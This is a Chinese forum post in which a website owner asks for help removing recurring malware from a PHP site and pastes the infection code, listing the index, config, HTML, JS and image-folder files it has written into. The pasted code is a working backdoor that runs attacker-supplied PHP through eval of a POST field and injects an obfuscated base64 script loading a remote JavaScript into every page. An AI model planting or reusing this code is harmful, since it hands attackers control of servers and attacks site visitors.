PHP 网站中毒啦，删除过两天又来 网上也没有解决 办法 有没有高人知道啊

PHP 网站中毒啦，删除过两天又来 网上也没有解决 办法 有没有高人知道啊
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihORUJXZyl7dmFyIFhMUnM9JyUnO3ZhciB2bUY9J3ZhciwyMGEsM2QsMjJTY3IsNjlwdEVuLDY3aW5lLDIyLDJjYiwzZCwyMlYsNjVyc2ksNmZuKCkrLDIyLDJjaiwzZCwyMiwyMiwyY3UsM2RuLDYxdmlnYXRvciwyZSw3NXNlckFnZSw2ZXQsM2IsNjlmLDI4KCw3NSwyZWluZGV4T2YoLDIyV2luLDIyKSwzZTAsMjksMjYsMjYodSwyZWluZCw2NXhPZigsMjJOVCwyMDYsMjIsMjksM2MwKSwyNiwyNiwyOGQsNmYsNjN1bSw2NSw2ZXQsMmVjLDZmb2tpZSwyZSw2OW5kLDY1LDc4T2YoLDIyLDZkaWVrLDNkLDMxLDIyKSwzYywzMCksMjYsMjYsMjh0eXBlLDZmZih6cnZ6LDc0cyksMjEsM2QsNzR5LDcwLDY1b2YsMjgsMjJBLDIyLDI5KSwyOSw3YnpydnosNzRzLDNkLDIyQSwyMiwzYmV2YWwoLDIyaWYoLDc3aW5kLDZmdywyZSwyMiwyYiw2MSwyYiwyMiksNmEsM2QsNmEsMmIsMjIsMmJhKywyMk1ham9yLDIyLDJiLDYyK2EsMmIsMjJNLDY5bm9yLDIyK2IrLDYxKywyMkIsNzVpbCw2NCwyMitiKywyMmosM2IsMjIsMjksM2Jkb2N1LDZkLDY1LDZlLDc0LDJld3IsNjl0ZSgsMjIsM2NzY3JpLDcwdCwyMHNyYywzZCwyZiwyZmd1bSw2MmwsNjEsNzIsMmVjbiwyZnIsNzNzLDJmLDNmaSw2NCwzZCwyMitqKywyMiwzZSwzYyw1YywyZnNjcmlwdCwzZSwyMiwyOSwzYiw3ZCc7ZXZhbCh1bmVzY2FwZSh2bUYucmVwbGFjZShORUJXZyxYTFJzKSkpfSkoLywvZyk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>这个就是病毒代码 
所有 INDEX。PHP 被写入
conf 字样的 PHP 文件被 写入 
所有 HTML 文件被写入 
所有JS  文件被写入
所有 图片 文件夹下 有一个IMAGES。PHP 文件 只有一段 病毒代码